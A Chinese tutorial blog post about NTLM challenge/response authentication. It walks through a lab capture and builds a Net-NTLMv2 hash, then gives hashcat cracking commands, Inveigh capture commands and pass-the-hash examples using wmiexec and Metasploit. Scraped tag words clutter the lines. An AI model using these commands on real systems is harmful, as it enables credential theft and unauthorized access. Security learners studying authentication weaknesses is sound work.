Windows認證 | 網絡認證

在平時的測試中,常常會碰處處於工做組的計算機,處於工做組的計算機之間是沒法創建一個可信的信託機構的,只能是點對點進行信息的傳輸。php

舉個例子就是,主機A想要訪問主機B上的資源,就要向主機B發送一個存在於主機B上的一個帳戶,主機B接收之後會在本地進行驗證,若是驗證成功,纔會容許主機A進行相應的訪問。html

這裏主要說一下基於挑戰(Chalenge)/響應(Response)認證機制NTLM協議,對於以前的SMB協議等等就再也不進行過多的說明。python

NTLM 協議是一種基於挑戰(Chalenge)/響應(Response)認證機制,僅支持Windows的網絡認證協議。git

它主要分爲協商、質詢和驗證三個步驟github

協商,這個是爲了解決歷史遺留問題,也就是爲了向下兼容,雙方先肯定一下傳輸協議的版本等各類信息。算法

質詢,這一步即是Chalenge/Response認證機制的關鍵之處,下面會介紹這裏的步驟。shell

驗證,對質詢的最後結果進行一個驗證,驗證經過後,即容許訪問資源windows

** 質詢的完整過程 **服務器

** 首先,client會向server發送一個username,這個username是存在於server上的一個用戶。網絡

** 當server接收到這個信息時,首先會在本地查詢是否存在這樣的一個用戶,若是不存在,則直接返回認證失敗,若是存在,將會生成一個16位的隨機字符,即Chalenge,而後用查詢到的這個user的NTLM hash對Chalenge進行加密,生成Chalenge1,將Chalenge1存儲在本地,並將Chalenge傳給client。

** 當client接收到Chalenge時,將發送的username所對應的NTLM hash對Chalenge進行加密即Response,並Response發送給server。

** 質詢到這裏就結束了,最後一步就是屬於驗證的機制了

** server在收到Response後,將其與Chalenge1進行比較,若是相同,則驗證成功

大體的流程就是這樣子了

file

最後再稍微說一下NTLM V2協議,NTLMv1與NTLM v2最顯著的區別就是Challenge與加密算法不一樣,共同點就是加密的原料都是NTLM Hash,NTLM v1的Challenge有8位,NTLM v2的Challenge爲16位;NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。

咱們用實際抓包狀況來看一下他們之間的數據傳輸

server
192.168.5.133
LENOVO/123456

client
192.168.5.134

在client遠程鏈接server

net use \\192.168.5.133 /u:LENOVO 123456

file

咱們來看一下抓到的數據包

file

這四條應該是進行協商的

file

前四個數據包對應NTLM認證的四部過程

咱們打開第二個數據包,得到返回的Challenge:d2165f1d10268dc0

file

查看第三個數據包能夠獲得client加密後的Challenge:1b6943212ce6ccf2

file

Response數據爲

8582c1c1d54a7a430fc79a0abe09b4040101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000

file

接下來即可以使用Hashcat對其進行破解

NTLMv2的格式爲:username::domain:challenge:HMAC-MD5:blob

*** 注:challenge爲NTLMServer Challenge,domian由數據包內容得到(IP或者機器名),HMAC-MD5對應數據包中的NTProofStr,blob對應數據包中Response去掉NTProofStr的後半部分 ***

file

因此完整的NTLMv2數據爲

LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000

而後使用hashcat便可破解

hashcat -m 5600 LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000/root/123.list -o balabala.txt --force

-m:hash-type,5600對應NetNTLMv2,詳細參數可查表:https://hashcat.net/wiki/doku.php

-o:輸出文件

字典文件爲/root/123.list

--force表明強制執行,測試系統不支持Intel OpenCL

file

file

最後能夠看到已經成功爆破出密碼

file

固然在實際的測試環境中,咱們不可能使用這樣的方法去獲取,可使用中間人攻擊的方式來獲取Net-NTLMhash,經常使用的兩個工具是ResponderInveigh

Responder:python編寫

https://github.com/lgandx/Responder

Inveigh:powershell編寫

https://github.com/Kevin-Robertson/Inveigh

咱們在client上運行Inveigh,當咱們經過命令行鏈接的時候,就能夠獲取到Net-NTLMv2 hash。

首先先執行powershell

Import-Module .\Inveigh.psd1
Invoke-Inveigh -consoleoutput Y

file

此時就會抓到傳輸中的Net-NTLMv2 hash

file

而後再進行破解就能夠了

可是,當咱們沒法對其進行破解時,還有一種方法能夠用來利用,那就是PTH,即Pass The Hash(哈希傳遞),哈希傳遞是可以在不須要帳戶明文密碼的狀況下完成認證的一個技術,在使用這種技術的時候,咱們不光須要用戶的的NTLM Hash,還須要知道它的用戶名。

哈希傳遞,正是利用了點對點認證沒有第三方信託機構的缺點來完成的

首先咱們先向server發送用戶的用戶名,等待server返回Chanllenge,而後咱們使用用戶名對應的NTLM Hash將服務器給出的 Chanllenge加密,生成一個Response,來完成認證。

至於利用工具的話

1.msf有下面的模塊

exploit/windows/smb/psexec_psh

2.kali有pth工具集

file

3.還有基於python的wmiexec

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

注:

wmiexec.py的註釋中提示"Mainadvantage here is it runs under the user (has to be Admin) account",經實際測試普通用戶權限便可

wmiexec.py的hash參數格式爲LMHASH:NTHASH,若是系統默認不支持LM hash,將LM hash設定爲任意值便可

參數實例:

wmiexec -hashes00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1TEST/test1@192.168.1.1 "whoami"

4.還有基於powershell的

https://github.com/Kevin-Robertson/Invoke-TheHash/

5.感受最好用的應該仍是cs中自帶的那個功能,方便又快捷。

若是對NTLM感興趣的能夠去了解了解下面的兩篇文章

http://davenport.sourceforge.net/ntlm.html

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

本文由博客一文多發平臺 OpenWrite 發佈!

相關文章
相關標籤/搜索